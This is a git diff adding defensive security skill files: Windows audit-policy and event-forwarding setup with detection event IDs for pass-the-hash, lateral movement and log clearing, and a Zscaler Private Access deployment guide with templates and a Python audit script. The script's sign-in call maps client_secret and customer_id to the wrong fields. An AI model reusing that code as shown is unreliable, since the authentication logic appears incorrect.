logon/logoff auditing for authentication monitoring +- Sizing event log storage and forwarding to SIEM platforms + +**Do not use** for Sysmon configuration (separate skill) or Linux audit logging. + +## Workflow + +### Step 1: Configure Advanced Audit Policy via GPO + +``` +Computer Configuration → Windows Settings → Security Settings + → Advanced Audit Policy Configuration → Audit Policies + +Recommended settings: +Account Logon: + - Audit Credential Validation: Success, Failure + - Audit Kerberos Authentication: Success, Failure + +Account Management: + - Audit Security Group Management: Success + - Audit User Account Management: Success, Failure + +Logon/Logoff: + - Audit Logon: Success, Failure + - Audit Logoff: Success + - Audit Special Logon: Success + - Audit Other Logon/Logoff Events: Success, Failure + +Object Access: + - Audit File Share: Success, Failure + - Audit Removable Storage: Success, Failure + - Audit SAM: Success + +Policy Change: + - Audit Audit Policy Change: Success, Failure + - Audit Authentication Policy Change: Success + +Privilege Use: + - Audit Sensitive Privilege Use: Success, Failure + +Detailed Tracking: + - Audit Process Creation: Success + - Audit DPAPI Activity: Success, Failure +``` + +### Step 2: Enable Command Line in Process Creation Events + +```powershell +# Registry: Enable command line logging in Event 4688 +New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" ` + -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -PropertyType DWORD -Force + +# GPO: Computer Configuration → Administrative Templates → System → Audit Process Creation +# "Include command line in process creation events" → Enabled +``` + +### Step 3: Configure Event Log Sizes + +```powershell +# Increase Security log to 1 GB (default 20 MB is insufficient) +wevtutil sl Security /ms:1073741824 + +# Increase PowerShell Operational log +wevtutil sl "Microsoft-Windows-PowerShell/Operational" /ms:536870912 + +# Set log retention to overwrite as needed +wevtutil sl Security /rt:false + +# Configure via GPO: +# Computer Configuration → Administrative Templates → Windows Components +# → Event Log Service → Security +# Maximum log file size (KB): 1048576 +``` + +### Step 4: Configure Windows Event Forwarding (WEF) + +```powershell +# On collector server: +wecutil qc /q + +# Create subscription for high-value events: +# Event IDs: 4624 (logon), 4625 (failed logon), 4688 (process create), +# 4672 (special privilege), 4720 (user created), 4728 (group membership), +# 7045 (service installed), 1102 (log cleared) + +# On source endpoints (GPO): +# Configure WinRM: winrm quickconfig +# Configure event forwarding: Computer Configuration → Admin Templates +# → Windows Components → Event Forwarding +# Configure target Subscription Manager: Server=http://collector:5985/wsman/SubscriptionManager/WEC +``` + +### Step 5: Key Event IDs for Detection + +``` +Authentication Events: + 4624 - Successful logon (Type 2=Interactive, 3=Network, 10=RemoteInteractive) + 4625 - Failed logon attempt + 4648 - Logon using explicit credentials (RunAs, pass-the-hash indicator) + 4672 - Special privileges assigned (admin logon) + 4776 - NTLM credential validation + +Process Events: + 4688 - Process creation (with command line if enabled) + 4689 - Process termination + +Account Events: + 4720 - User account created + 4722 - User account enabled + 4724 - Password reset attempted + 4728 - Member added to security group + 4732 - Member added to local group + 4756 - Member added to universal group + +Service/System Events: + 7045 - New service installed (persistence indicator) + 1102 - Audit log cleared (evidence tampering) + 4697 - Service installed in the system + +Lateral Movement Indicators: + 4648 + 4624(Type 3) - Credential-based lateral movement + 5140 - Network share accessed + 5145 - Network share access check (detailed file share) +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Advanced Audit Policy** | Granular audit subcategories (58 subcategories vs. 9 basic categories) | +| **Event ID 4688** | Process creation event; essential for tracking execution on endpoints | +| **WEF** | Windows Event Forwarding; centralized log collection without third-party agents | +| **Logon Type** | Numeric code indicating authentication method (2=interactive, 3=network, 10=RDP) | + +## Tools & Systems + +- **Windows Event Forwarding (WEF)**: Built-in centralized log collection +- **NXLog**: Open-source log forwarding agent for Windows events +- **Winlogbeat**: Elastic Agent for shipping Windows event logs to Elasticsearch +- **Palantir WEF Configuration**: Open-source WEF subscription templates + +## Common Pitfalls + +- **Using basic audit policy instead of advanced**: Basic and advanced audit policies conflict. Always use advanced audit policy exclusively. +- **Default log size too small**: 20 MB Security log fills in minutes on busy servers. Set minimum 1 GB. +- **Missing command line logging**: Event 4688 without command line content has minimal detection value. Always enable ProcessCreationIncludeCmdLine_Enabled. +- **Not forwarding logs**: Local event logs are lost when endpoints are wiped by ransomware. Forward to centralized SIEM immediately. diff --git a/skills/configuring-windows-event-logging-for-detection/assets/template.md b/skills/configuring-windows-event-logging-for-detection/assets/template.md new file mode 100644 index 00000000..d29f24ef --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/assets/template.md @@ -0,0 +1,20 @@ +# Windows Event Logging Configuration Template + +## Audit Policy Settings +| Subcategory | Setting | Status | +|-------------|---------|--------| +| Credential Validation | Success, Failure | | +| Logon | Success, Failure | | +| Process Creation | Success | | +| Special Logon | Success | | + +## Log Sizes +| Log | Size | Retention | +|-----|------|-----------| +| Security | 1 GB | Overwrite | +| PowerShell/Operational | 512 MB | Overwrite | + +## Sign-Off +| Role | Name | Date | +|------|------|------| +| Security | | | diff --git a/skills/configuring-windows-event-logging-for-detection/references/standards.md b/skills/configuring-windows-event-logging-for-detection/references/standards.md new file mode 100644 index 00000000..f55a363a --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/references/standards.md @@ -0,0 +1,6 @@ +# Standards & References +- **NIST SP 800-92**: Guide to Computer Security Log Management +- **CIS Benchmark Section 17**: Advanced Audit Policy Configuration +- **NSA/CISA Event Forwarding Guidance**: Recommended events for Windows monitoring +- **Palantir WEF Config**: https://github.com/palantir/windows-event-forwarding +- **SANS Windows Logging Cheat Sheet**: https://www.sans.org/posters/ diff --git a/skills/configuring-windows-event-logging-for-detection/references/workflows.md b/skills/configuring-windows-event-logging-for-detection/references/workflows.md new file mode 100644 index 00000000..36d1f2bc --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/references/workflows.md @@ -0,0 +1,8 @@ +# Workflows +## Event Logging Deployment +``` +[Audit current logging configuration] → [Enable Advanced Audit Policy via GPO] + → [Enable command line logging] → [Increase log sizes] + → [Configure WEF or agent-based forwarding] → [Verify events in SIEM] + → [Build detection rules from high-value events] → [Quarterly logging audit] +``` diff --git a/skills/configuring-windows-event-logging-for-detection/scripts/process.py b/skills/configuring-windows-event-logging-for-detection/scripts/process.py new file mode 100644 index 00000000..1337d1ab --- /dev/null +++ b/skills/configuring-windows-event-logging-for-detection/scripts/process.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python3 +"""Windows Event Logging Auditor - Checks current audit policy configuration.""" + +import json, subprocess, sys, os +from datetime import datetime + + +def get_audit_policy() -> dict: + """Query current advanced audit policy via auditpol.""" + try: + result = subprocess.run( + ["auditpol", "/get", "/category:*"], + capture_output=True, text=True, timeout=15, + ) + if result.returncode != 0: + return {"error": result.stderr} + + policies = {} + current_category = "" + for line in result.stdout.splitlines(): + line = line.strip() + if not line: + continue + if " " not in line and line.endswith(":"): + continue + parts = line.rsplit(" ", 1) + if len(parts) == 2: + name = parts[0].strip() + setting = parts[1].strip() + policies[name] = setting + return policies + except FileNotFoundError: + return {"error": "auditpol not available (requires Windows)"} + + +RECOMMENDED = { + "Credential Validation": "Success and Failure", + "Security Group Management": "Success", + "User Account Management": "Success and Failure", + "Logon": "Success and Failure", + "Logoff": "Success", + "Special Logon": "Success", + "Process Creation": "Success", + "Audit Policy Change": "Success", + "Sensitive Privilege Use": "Success and Failure", +} + + +if __name__ == "__main__": + policies = get_audit_policy() + if "error" in policies: + print(f"Error: {policies['error']}") + sys.exit(1) + + compliant = 0 + total = len(RECOMMENDED) + for setting, expected in RECOMMENDED.items(): + actual = policies.get(setting, "No Auditing") + status = "PASS" if expected in actual else "FAIL" + if status == "PASS": + compliant += 1 + print(f"[{status}] {setting}: {actual} (expected: {expected})") + + print(f"\nScore: {compliant}/{total} ({round(compliant/total*100)}%)") diff --git a/skills/configuring-zscaler-private-access-for-ztna/SKILL.md b/skills/configuring-zscaler-private-access-for-ztna/SKILL.md new file mode 100644 index 00000000..6104115f --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/SKILL.md @@ -0,0 +1,297 @@ +--- +name: configuring-zscaler-private-access-for-ztna +description: > + Configuring Zscaler Private Access (ZPA) to replace traditional VPN with zero trust + network access by deploying App Connectors, defining application segments, configuring + access policies based on user identity and device posture, and integrating with IdPs. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [zscaler, zpa, ztna, zero-trust, app-connector, access-policy, sase] +version: "1.0" +author: mahipal +license: MIT +--- + +# Configuring Zscaler Private Access for ZTNA + +## When to Use + +- When replacing traditional VPN concentrators with application-level zero trust access +- When providing remote users secure access to internal applications without network-level connectivity +- When implementing least-privilege access where users only see authorized applications +- When needing to make internal applications invisible to unauthorized users and the internet +- When integrating ZTNA with existing SASE architecture using Zscaler Internet Access (ZIA) + +**Do not use** for applications requiring raw UDP access (ZPA primarily supports TCP), for providing full network-level access equivalent to site-to-site VPN (use ZPA AppProtection or branch connector instead), or when the organization requires on-premises-only access control without cloud dependency. + +## Prerequisites + +- Zscaler Private Access subscription (Business or Transformation edition) +- Identity provider configured: Okta, Microsoft Entra ID, Ping Identity, or SAML 2.0 IdP +- App Connector VM requirements: Linux VM (CentOS 7/8, RHEL 7/8, Ubuntu 18.04+, Amazon Linux 2) with 2 vCPU, 4GB RAM minimum +- Outbound connectivity from App Connector to ZPA cloud on port 443 (no inbound ports required) +- DNS resolution from App Connector to internal application FQDNs +- Zscaler Client Connector deployed on user endpoints + +## Workflow + +### Step 1: Deploy App Connectors in Application Network + +App Connectors establish outbound-only tunnels to the ZPA cloud, providing access to internal applications. + +```bash +# Download and install App Connector on Linux VM +# Obtain provisioning key from ZPA Admin Portal > Administration > App Connectors + +# For RHEL/CentOS +sudo yum install -y https://yum.private.zscaler.com/yum/el7/zpa-connector-latest.rpm + +# For Ubuntu/Debian +curl -sS https://dist.private.zscaler.com/apt/pubkey.gpg | sudo apt-key add - +echo "deb https://dist.private.zscaler.com/apt stable main" | sudo tee /etc/apt/sources.list.d/zpa.list +sudo apt update && sudo apt install -y zpa-connector + +# Configure the connector with provisioning key +sudo /opt/zscaler/bin/zpa-connector configure \ + --provision-key "PROVISIONING_KEY_FROM_PORTAL" + +# Start the connector service +sudo systemctl enable zpa-connector +sudo systemctl start zpa-connector + +# Verify connector status +sudo systemctl status zpa-connector +sudo /opt/zscaler/bin/zpa-connector status + +# Deploy second connector for HA (minimum 2 per site) +# Repeat on second VM with same App Connector Group provisioning key +``` + +### Step 2: Define Server Groups and Application Segments + +Map internal applications to server groups and create application segments. + +```text +ZPA Admin Portal Configuration: + +1. Server Groups: + Navigate to: Administration > App Connectors > Server Groups + - Name: "DC-East-Servers" + - App Connector Group: "DC-East-Connectors" + - Servers: + - hr-portal.internal.corp (10.1.1.50, TCP 443) + - finance-app.internal.corp (10.1.1.51, TCP 443) + - git.internal.corp (10.1.2.10, TCP 22, 443) + +2. Application Segments: + Navigate to: Resources > Application Segments > Add Application Segment + - Name: "HR Applications" + - Domain/URL: hr-portal.internal.corp + - TCP Ports: 443 + - Server Group: DC-East-Servers + - Health Reporting: Continuous + - Bypass Type: Never (force all traffic through ZPA) + + - Name: "Engineering Tools" + - Domain/URL: git.internal.corp, ci.internal.corp, wiki.internal.corp + - TCP Ports: 22, 80, 443 + - Server Group: DC-East-Servers + - Segment Group: "Engineering Segment Group" +``` + +### Step 3: Configure Access Policies + +Define who can access which application segments based on identity and device posture. + +```text +ZPA Admin Portal > Policies > Access Policy: + +Rule 1: HR Team Access + - Name: "HR Portal Access" + - Action: ALLOW + - Criteria: + - User Groups: "HR-Department" (from IdP) + - Application Segment: "HR Applications" + - Device Posture Profile: "Corporate Managed Device" + - Client Type: Zscaler Client Connector + - Conditions: + - SAML Attribute: department = "Human Resources" + - Device Trust Level: "HIGH" (CrowdStrike ZTA score > 70) + +Rule 2: Engineering Access + - Name: "Engineering Tools Access" + - Action: ALLOW + - Criteria: + - User Groups: "Engineering-Team", "DevOps-Team" + - Application Segment: "Engineering Tools" + - Device Posture Profile: "Developer Workstation" + - Conditions: + - Machine Group: "Engineering Laptops" + +Rule 3: Contractor Limited Access + - Name: "Contractor Wiki Access" + - Action: ALLOW + - Criteria: + - User Groups: "External-Contractors" + - Application Segment: "Wiki Only" + - Client Type: Zscaler Client Connector OR Browser Access + - Conditions: + - Time Window: Mon-Fri 08:00-18:00 EST + +Rule 4: Default Deny + - Name: "Block All Other Access" + - Action: DENY + - Criteria: All Users, All Applications + - Log: Enabled +``` + +### Step 4: Configure Device Posture Profiles + +Integrate device posture signals from endpoint security tools. + +```text +ZPA Admin Portal > Administration > Device Posture: + +Profile 1: Corporate Managed Device + - CrowdStrike Falcon: Running, ZTA Score >= 60 + - OS: Windows 10 21H2+, macOS 13+, Ubuntu 22.04+ + - Disk Encryption: Enabled (BitLocker/FileVault) + - Firewall: Enabled + - Screen Lock: Enabled + +Profile 2: Developer Workstation + - Inherits: Corporate Managed Device + - CrowdStrike Falcon: ZTA Score >= 70 + - Patch Level: Within 30 days of latest + - Certificate: Valid corporate certificate present + +Profile 3: BYOD Device + - OS: Latest minus 1 version + - Browser: Chrome 120+ or Edge 120+ + - Antivirus: Any recognized AV running +``` + +### Step 5: Enable Browser Access for Clientless ZTNA + +Configure Browser Access for users without Zscaler Client Connector installed. + +```text +ZPA Admin Portal > Resources > Application Segments: + +For "HR Applications" segment: + - Enable Browser Access: Yes + - Browser Access Type: HTTPS + - Custom Domain: hr.access.company.com + - Certificate: Upload TLS certificate for custom domain + - Authentication: SAML via corporate IdP + - Session Timeout: 4 hours + - Clipboard Control: Disabled for sensitive apps + - File Upload/Download: Restricted + +For Browser Access Portal: + - Portal URL: access.company.com + - IdP: Microsoft Entra ID (SAML 2.0) + - MFA: Required + - Applications shown: Only authorized per user group +``` + +### Step 6: Configure Logging and Monitoring + +Set up log streaming for SIEM integration and continuous monitoring. + +```text +ZPA Admin Portal > Administration > Log Streaming Service: + +Log Receiver Configuration: + - Name: "Splunk-SIEM" + - Type: Splunk (HEC) + - Destination: https://splunk-hec.company.com:8088 + - HEC Token: "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" + - Log Types: + - User Activity: Enabled + - App Connector Status: Enabled + - Audit Logs: Enabled + - Browser Access: Enabled + +# Splunk search for ZPA access anomalies +index=zscaler_zpa sourcetype=zpa:useractivity +| where action="denied" +| stats count by user, application, policy_name +| where count > 10 +| sort -count +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| App Connector | Lightweight Linux service that creates outbound-only encrypted tunnels from internal networks to ZPA cloud, providing access to applications without inbound ports | +| Application Segment | Logical grouping of internal applications defined by FQDN/IP and ports, mapped to server groups for access policy enforcement | +| Server Group | Collection of application servers associated with App Connector groups that can serve requests for application segments | +| Access Policy | Rules defining which users/groups can access which application segments under what conditions (device posture, time, location) | +| Zscaler Client Connector | Endpoint agent installed on user devices that routes traffic to ZPA cloud for policy enforcement and application access | +| Browser Access | Clientless ZTNA option allowing application access through a web browser without requiring Zscaler Client Connector installation | + +## Tools & Systems + +- **Zscaler Private Access (ZPA)**: Cloud-native ZTNA platform replacing VPN with identity-based application access +- **Zscaler Client Connector**: Cross-platform endpoint agent routing traffic through ZPA for policy enforcement +- **ZPA App Connector**: Outbound-only tunnel endpoint deployed in application networks +- **ZPA Admin Portal**: Web-based management console for policy, segment, and connector configuration +- **ZPA Log Streaming Service (LSS)**: Real-time log export to SIEM platforms (Splunk, Sentinel, QRadar) +- **CrowdStrike ZTA Integration**: Device posture scoring for conditional access policy enforcement + +## Common Scenarios + +### Scenario: Migrating 500-User Organization from Cisco AnyConnect VPN to ZPA + +**Context**: A financial services firm with 500 employees uses Cisco AnyConnect for remote access. VPN split-tunnel configuration creates security gaps, and full-tunnel mode causes performance issues. The firm needs application-level access control for SOX compliance. + +**Approach**: +1. Deploy 4 App Connectors (2 per data center) with HA configuration +2. Define application segments for 20 internal applications grouped by business function +3. Configure access policies mapping AD groups to application segments with device posture requirements +4. Integrate CrowdStrike ZTA scores as device posture input (minimum score 60 for standard, 80 for financial apps) +5. Enable Browser Access for contractors accessing the vendor portal +6. Configure LSS to stream access logs to Splunk for SOX audit trail +7. Run parallel operation for 3 weeks: VPN and ZPA side by side +8. Phase out VPN connections after validating all application access through ZPA + +**Pitfalls**: App Connector DNS must resolve all internal FQDNs used in application segments. Wildcard domain segments can cause performance issues if too broad. Browser Access does not support all web application frameworks (WebSocket-heavy apps may require Client Connector). CrowdStrike ZTA integration requires Falcon sensor deployment on all endpoints before enforcing posture policies. + +## Output Format + +``` +ZPA ZTNA Deployment Report +================================================== +Organization: FinanceCorp +Deployment Date: 2026-02-23 + +INFRASTRUCTURE: + App Connectors: 4 (2x DC-East, 2x DC-West) + Connector Status: All healthy + Connector Version: 24.1.2 + +APPLICATION COVERAGE: + Application Segments: 20 + Total Applications: 45 + Server Groups: 4 + Segment Groups: 6 + +ACCESS POLICIES: + Total Rules: 12 + Allow Rules: 11 + Deny Rules: 1 (default deny) + Device Posture Profiles: 3 + +USER ACCESS (last 30 days): + Active Users: 487 / 500 + Total Sessions: 124,567 + Allowed Sessions: 123,890 (99.5%) + Denied Sessions: 677 (0.5%) + Browser Access Sessions: 2,341 + +VPN MIGRATION: + Users migrated to ZPA: 487 / 500 + VPN decommission date: 2026-03-15 +``` diff --git a/skills/configuring-zscaler-private-access-for-ztna/assets/template.md b/skills/configuring-zscaler-private-access-for-ztna/assets/template.md new file mode 100644 index 00000000..038d1e43 --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/assets/template.md @@ -0,0 +1,79 @@ +# ZPA ZTNA Deployment Checklist + +## Project Information +| Field | Value | +|-------|-------| +| Organization | Acme Financial Corp | +| ZPA Customer ID | 12345678 | +| ZPA Cloud | zscaler.net (US) | +| Project Lead | Security Architecture Team | +| Start Date | 2026-01-20 | + +## Pre-Deployment + +### Identity Provider +- [x] IdP configured: Microsoft Entra ID (SAML 2.0) +- [x] SCIM provisioning enabled for user/group sync +- [x] MFA enforced for all users +- [x] User groups mapped: Engineering, HR, Finance, Contractors + +### Network Requirements +- [x] Outbound HTTPS (443) to *.private.zscaler.com allowed +- [x] Outbound HTTPS (443) to *.zpath.net allowed +- [x] DNS resolution from App Connector VMs to all internal FQDNs verified +- [ ] Split-horizon DNS configured for hybrid access + +## App Connector Deployment + +| Connector Name | Group | Location | VM Specs | Status | +|---------------|-------|----------|----------|--------| +| ac-dc-east-01 | DC-East | AWS us-east-1 | t3.medium | Healthy | +| ac-dc-east-02 | DC-East | AWS us-east-1 | t3.medium | Healthy | +| ac-dc-west-01 | DC-West | AWS us-west-2 | t3.medium | Healthy | +| ac-dc-west-02 | DC-West | AWS us-west-2 | t3.medium | Healthy | + +## Application Segments + +| Segment Name | Applications | Ports | Server Group | Bypass | +|-------------|-------------|-------|-------------|--------| +| HR Applications | hr-portal.internal.corp | 443 | DC-East | Never | +| Finance Tools | finance.internal.corp, reports.internal.corp | 443 | DC-East | Never | +| Engineering | git.internal.corp, ci.internal.corp, wiki.internal.corp | 22, 443 | DC-East + DC-West | Never | +| Monitoring | grafana.internal.corp, prometheus.internal.corp | 443, 9090 | DC-West | Never | +| Contractor Portal | vendor.internal.corp | 443 | DC-East | Never | + +## Access Policies + +| Rule | Action | Users/Groups | Segments | Posture | Priority | +|------|--------|-------------|----------|---------|----------| +| HR Access | ALLOW | HR-Department | HR Applications | Corporate Managed | 1 | +| Finance Access | ALLOW | Finance-Team | Finance Tools | Corporate Managed | 2 | +| Engineering Access | ALLOW | Engineering, DevOps | Engineering | Developer Workstation | 3 | +| Monitoring Access | ALLOW | SRE-Team, Engineering | Monitoring | Corporate Managed | 4 | +| Contractor Access | ALLOW | Contractors | Contractor Portal | BYOD | 5 | +| Default Deny | DENY | All Users | All Segments | N/A | 99 | + +## Device Posture Profiles + +| Profile | CrowdStrike ZTA | OS Version | Encryption | Firewall | +|---------|----------------|------------|------------|----------| +| Corporate Managed | >= 60 | Win 10 21H2+ / macOS 13+ | Required | Required | +| Developer Workstation | >= 70 | Win 10 21H2+ / macOS 13+ | Required | Required | +| BYOD | N/A | Latest -1 | Recommended | N/A | + +## Migration Tracker + +| Phase | Users | Applications | Start | Status | +|-------|-------|-------------|-------|--------| +| Phase 1: IT/Security | 50 | All | 2026-02-01 | Complete | +| Phase 2: Engineering | 200 | Engineering, Monitoring | 2026-02-10 | Complete | +| Phase 3: Business | 250 | HR, Finance, Contractor | 2026-02-20 | In Progress | +| VPN Decommission | N/A | N/A | 2026-03-15 | Pending | + +## Sign-Off + +| Role | Name | Date | Approved | +|------|------|------|----------| +| CISO | _________________ | __________ | [ ] | +| Network Architect | _________________ | __________ | [ ] | +| IT Operations | _________________ | __________ | [ ] | diff --git a/skills/configuring-zscaler-private-access-for-ztna/references/standards.md b/skills/configuring-zscaler-private-access-for-ztna/references/standards.md new file mode 100644 index 00000000..010b8752 --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/references/standards.md @@ -0,0 +1,33 @@ +# Zscaler Private Access ZTNA - Standards & References + +## NIST SP 800-207: Zero Trust Architecture +- **Section 2.1**: Zero Trust Tenets - ZPA implements "never trust, always verify" with per-session application access +- **Section 3.1**: Policy Engine / Policy Administrator - maps to ZPA access policy engine +- **Section 3.3**: Agent/Gateway Model - maps to Zscaler Client Connector + App Connector architecture +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-207/final + +## CISA Zero Trust Maturity Model v2.0 +- **Network Pillar**: Application micro-segmentation - ZPA application segments eliminate network-level access +- **Identity Pillar**: Continuous validation - ZPA evaluates identity and posture per session +- **URL**: https://www.cisa.gov/zero-trust-maturity-model + +## Zscaler Documentation +- **ZPA Admin Guide**: https://help.zscaler.com/zpa +- **Step-by-Step Configuration**: https://help.zscaler.com/zpa/step-step-configuration-guide-zpa +- **App Connector Deployment**: https://help.zscaler.com/zpa/about-app-connectors +- **Access Policy Configuration**: https://help.zscaler.com/zpa/configuring-access-policies +- **Browser Access**: https://help.zscaler.com/zpa/about-browser-access +- **Log Streaming Service**: https://help.zscaler.com/zpa/about-log-streaming-service +- **ZPA Reference Architecture (AWS)**: https://help.zscaler.com/downloads/zpa/reference-architecture + +## NIST SP 800-63-3: Digital Identity Guidelines +- **Section 4-6**: Identity assurance levels relevant to ZPA IdP integration +- **URL**: https://pages.nist.gov/800-63-3/ + +## SOX Compliance (Sarbanes-Oxley) +- **Section 302/404**: Access controls for financial systems - ZPA provides auditable per-application access +- Application-level access logging satisfies audit trail requirements + +## Gartner ZTNA Market Guide +- ZPA classified as agent-based ZTNA with service-initiated architecture +- Reference: Gartner Market Guide for Zero Trust Network Access (2024) diff --git a/skills/configuring-zscaler-private-access-for-ztna/references/workflows.md b/skills/configuring-zscaler-private-access-for-ztna/references/workflows.md new file mode 100644 index 00000000..d15267a9 --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/references/workflows.md @@ -0,0 +1,78 @@ +# ZPA ZTNA Configuration Workflow + +## Phase 1: Planning and Prerequisites (Week 1) + +### 1.1 Architecture Design +1. Map current VPN access patterns: which users access which applications +2. Identify all internal applications by FQDN, IP, and port +3. Group applications into logical segments by business function and sensitivity +4. Design App Connector placement: minimum 2 connectors per data center for HA +5. Plan DNS resolution: App Connectors must resolve all application FQDNs + +### 1.2 Identity Provider Integration +1. Configure SAML 2.0 or OIDC integration with corporate IdP (Okta, Entra ID, Ping) +2. Map IdP user groups to ZPA access policy groups +3. Configure SCIM provisioning for automated user/group sync +4. Test SSO authentication flow end-to-end + +## Phase 2: Infrastructure Deployment (Week 2-3) + +### 2.1 App Connector Deployment +1. Provision Linux VMs (CentOS/RHEL/Ubuntu) meeting minimum specs (2 vCPU, 4GB RAM) +2. Ensure outbound HTTPS (443) to ZPA cloud domains (*.private.zscaler.com, *.zpath.net) +3. Generate provisioning keys in ZPA Admin Portal (one per App Connector Group) +4. Install and configure App Connector packages +5. Verify connector enrollment and health status in portal +6. Deploy second connector per group for high availability + +### 2.2 Server Group and Application Segment Configuration +1. Create server groups mapping to App Connector groups +2. Add application servers with FQDNs and ports to server groups +3. Create application segments grouping related applications +4. Configure health monitoring for each segment +5. Test application reachability from App Connector + +## Phase 3: Policy Configuration (Week 3-4) + +### 3.1 Access Policy Design +1. Create allow rules ordered from most specific to least specific +2. Map IdP groups to application segments in each rule +3. Add device posture profile requirements to rules +4. Configure time-based restrictions for contractor access +5. Create default deny rule as the last policy rule +6. Test each policy rule with representative users + +### 3.2 Device Posture Configuration +1. Define posture profiles for each device category (managed, developer, BYOD) +2. Integrate CrowdStrike ZTA scores for real-time posture +3. Configure OS version, encryption, and firewall requirements +4. Test posture evaluation with compliant and non-compliant devices + +## Phase 4: User Migration (Week 4-6) + +### 4.1 Client Connector Deployment +1. Deploy Zscaler Client Connector via MDM (Intune, Jamf, SCCM) +2. Configure auto-enrollment with IdP authentication +3. Test client connectivity to ZPA cloud +4. Validate application access through Client Connector + +### 4.2 Phased Rollout +1. Phase 1: IT/Security team (50 users) - validate all segments +2. Phase 2: Engineering (200 users) - validate developer tools +3. Phase 3: Business users (remaining) - validate general applications +4. Monitor access logs for denials and policy gaps at each phase + +## Phase 5: Browser Access Configuration (Week 5) + +1. Enable Browser Access for applications requiring clientless access +2. Configure custom domains and TLS certificates +3. Set session timeout and clipboard/file transfer policies +4. Test with contractor accounts + +## Phase 6: VPN Decommission (Week 7-8) + +1. Run VPN and ZPA in parallel for 2-3 weeks +2. Monitor VPN usage to identify remaining dependencies +3. Migrate remaining applications and users +4. Disable VPN and redirect users to ZPA +5. Decommission VPN infrastructure diff --git a/skills/configuring-zscaler-private-access-for-ztna/scripts/process.py b/skills/configuring-zscaler-private-access-for-ztna/scripts/process.py new file mode 100644 index 00000000..788d2b2b --- /dev/null +++ b/skills/configuring-zscaler-private-access-for-ztna/scripts/process.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python3 +""" +Zscaler Private Access (ZPA) - Deployment Audit and Compliance Checker + +Queries ZPA Admin API to audit App Connector health, application segment +coverage, access policy configuration, and user activity for ZTNA compliance. + +Requirements: + pip install requests +""" + +import json +import sys +import time +from datetime import datetime, timezone +from typing import Any + +import requests + +ZPA_BASE_URL = "https://config.private.zscaler.com" + + +class ZPAAuditor: + """Audit Zscaler Private Access deployment configuration.""" + + def __init__(self, client_id: str, client_secret: str, customer_id: str): + self.client_id = client_id + self.client_secret = client_secret + self.customer_id = customer_id + self.token = None + self._authenticate() + + def _authenticate(self): + """Authenticate with ZPA API.""" + resp = requests.post( + f"{ZPA_BASE_URL}/signin", + json={ + "apiKey": self.client_id, + "username": self.client_secret, + "password": self.customer_id + }, + timeout=30 + ) + resp.raise_for_status() + self.token = resp.json().get("token") + print("[AUTH] Successfully authenticated with ZPA API") + + def _get(self, endpoint: str, params: dict = None) -> dict: + """Make authenticated GET request to ZPA API.""" + headers = { + "Authorization": f"Bearer {self.token}", + "Content-Type": "application/json" + } + resp = requests.get( + f"{ZPA_BASE_URL}/mgmtconfig/v1/admin/customers/{self.customer_id}/{endpoint}", + headers=headers, + params=params or {}, + timeout=30 + ) + resp.raise_for_status() + return resp.json() + + def audit_app_connectors(self) -> dict[str, Any]: + """Audit App Connector deployment and health.""" + print("\n[1/5] Auditing App Connectors...") + data = self._get("connector") + connectors = data.get("list", []) + + stats = { + "total": len(connectors), + "healthy": 0, + "unhealthy": 0, + "groups": {}, + "version_distribution": {}, + "unhealthy_list": [] + } + + for conn in connectors: + name = conn.get("name", "unknown") + enabled = conn.get("enabled", False) + runtime_status = conn.get("runtimeStatus", "UNKNOWN") + version = conn.get("currentVersion", "unknown") + group = conn.get("appConnectorGroupName", "ungrouped") + + stats["groups"][group] = stats["groups"].get(group, 0) + 1 + stats["version_distribution"][version] = stats["version_distribution"].get(version, 0) + 1 + + if enabled and runtime_status == "ACTIVE": + stats["healthy"] += 1 + else: + stats["unhealthy"] += 1 + stats["unhealthy_list"].append({ + "name": name, "status": runtime_status, "group": group + }) + print(f" [WARN] Unhealthy connector: {name} (status: {runtime_status})") + + print(f" Total: {stats['total']}, Healthy: {stats['healthy']}, Unhealthy: {stats['unhealthy']}") + print(f" Groups: {stats['groups']}") + + # Check HA: each group should have >= 2 connectors + for group, count in stats["groups"].items(): + if count < 2: + print(f" [CRITICAL] Group '{group}' has only {count} connector(s) - no HA!") + + return stats + + def audit_application_segments(self) -> dict[str, Any]: + """Audit application segment configuration.""" + print("\n[2/5] Auditing Application Segments...") + data = self._get("application") + segments = data.get("list", []) + + stats = { + "total": len(segments), + "enabled": 0, + "disabled": 0, + "bypass_enabled": 0, + "health_reporting": {"continuous": 0, "on_access": 0, "none": 0}, + "segments": [] + } + + for seg in segments: + name = seg.get("name", "unknown") + enabled = seg.get("enabled", False) + bypass_type = seg.get("bypassType", "NEVER") + health = seg.get("healthReporting", "NONE") + domains = seg.get("domainNames", []) + tcp_ports = seg.get("tcpPortRanges", []) + + if enabled: + stats["enabled"] += 1 + else: + stats["disabled"] += 1 + print(f" [WARN] Disabled segment: {name}") + + if bypass_type != "NEVER": + stats["bypass_enabled"] += 1 + print(f" [WARN] Bypass enabled on segment: {name} (type: {bypass_type})") + + health_key = health.lower() if health.lower() in stats["health_reporting"] else "none" + stats["health_reporting"][health_key] += 1 + + stats["segments"].append({ + "name": name, + "enabled": enabled, + "domains": domains[:5], + "ports": tcp_ports[:5], + "bypass": bypass_type + }) + + print(f" Total: {stats['total']}, Enabled: {stats['enabled']}, Disabled: {stats['disabled']}") + print(f" Bypass enabled: {stats['bypass_enabled']}") + print(f" Health reporting: {stats['health_reporting']}") + return stats + + def audit_access_policies(self) -> dict[str, Any]: + """Audit access policy configuration.""" + print("\n[3/5] Auditing Access Policies...") + data = self._get("policySet/rules?policyType=ACCESS_POLICY") + rules = data.get("list", []) + + stats = { + "total": len(rules), + "allow_rules": 0, + 